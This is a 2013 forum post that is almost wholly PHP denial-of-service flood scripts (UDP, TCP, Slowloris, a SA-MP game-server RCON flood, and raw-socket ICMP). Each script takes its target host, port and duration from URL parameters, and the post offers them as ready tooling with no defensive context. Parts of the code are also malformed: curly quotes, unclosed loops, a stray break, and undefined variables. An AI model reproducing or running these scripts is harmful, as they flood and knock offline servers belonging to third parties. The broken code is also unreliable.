io.kent Posted August 11, 2013 Report Posted August 11, 2013 UDP<?php//UDPif(isset($_GET['host'])&&isset($_GET['time'])){ $packets = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $packets++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); }?>UDP Method 2<?php$host = $_GET['host'];set_time_limit(0);$exec_time = (int)$_GET['time'];$time = time();$max_time = $time + $exec_time; if(time() > $max_time) { break; }while(1){$dataOut = “\x08\x00\x10\x26\x74\x65\x73\x74“; if ($_GET['port'] == "rand") { $rand = rand(1,65535); } else { $rand = (int)filter($_GET['port']); }$socket = socket_create(AF_INET, SOCK_DGRAM, UDP);socket_set_nonblock($socket);socket_connect($socket, $host, $rand);@socket_write($socket, $dataOut, strlen($dataOut));socket_close($socket);}echo "UDP flood complete after: {$exec_time} seconds";?>TCP<?php //TCP if(isset($_GET['host'])&&isset($_GET['time'])){ $packets = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; $host = $_GET['host']; $port = $_GET['port']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } ?>Slowloris<?php$ip = $_GET['ip'];set_time_limit(0);ignore_user_abort(FALSE);$exec_time = $_GET['time'];$time = time();$max_time = $time+$exec_time;while(1){ if(time() > $max_time){ break; } $fp = fsockopen($ip, 80, $errno, $errstr, 140); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "POST / HTTP/1.1\r\n"; $out .= "Host: $ip\r\n"; $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n"; $out .= "Content-Length: 42\r\n\r\n"; fwrite($fp, $out);}}echo "Slowloris flood complete after: $exec_time seconds\n";?>SA-MP Rcon Flood<?phpif(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){ $packets = 0; $fakepass = "4azr46a"; $fakecmd = "exit"; $sPacket = ""; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; $host = $_GET['host']; $port = $_GET['port']; $aIPAddr = explode('.', $host); $sPacket .= "SAMP"; $sPacket .= chr($aIPAddr[0]); $sPacket .= chr($aIPAddr[1]); $sPacket .= chr($aIPAddr[2]); $sPacket .= chr($aIPAddr[3]); $sPacket .= chr($port & 0xFF); $sPacket .= chr($port >> 8 & 0xFF); $sPacket .= 'x'; $sPacket .= chr(strlen($fakepass) & 0xFF); $sPacket .= chr(strlen($fakepass) >> 8 & 0xFF); $sPacket .= $fakepass; $sPacket .= chr(strlen($fakecmd) & 0xFF); $sPacket .= chr(strlen($fakecmd) >> 8 & 0xFF); $sPacket .= $fakecmd; while(1){ $packets++; if(time() > $max_time){ break; } //$rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 2); fwrite($fp, $sPacket); if($fp){ fwrite($rSocket, $sPacket); fclose($fp); }?>ICMP<?php$host = $_GET['host'];set_time_limit(0);$exec_time = $_GET['time'];$time = time();$max_time = $time + $exec_time; if(time() > $max_time) { break; }while(1){// 08 (ECHO), 00 (No Code), 10 26 (Checksum), 74 65 73 74 (The data: “test”)$dataOut = “\x08\x00\x10\x26\x74\x65\x73\x74“;// Raw socket, ICMP protocol$socket = socket_create(AF_INET, SOCK_RAW, 1);// Non blocking as in the actual script it is many sockets to different machinessocket_set_nonblock($socket);// Connect to local machine (or any machine)socket_connect($socket, $host, null);// Send $dataOut@socket_write($socket, $dataOut, strlen($dataOut));// Close socketsocket_close($socket);}echo "ICMP flood complete after: {$exec_time} seconds";?> Quote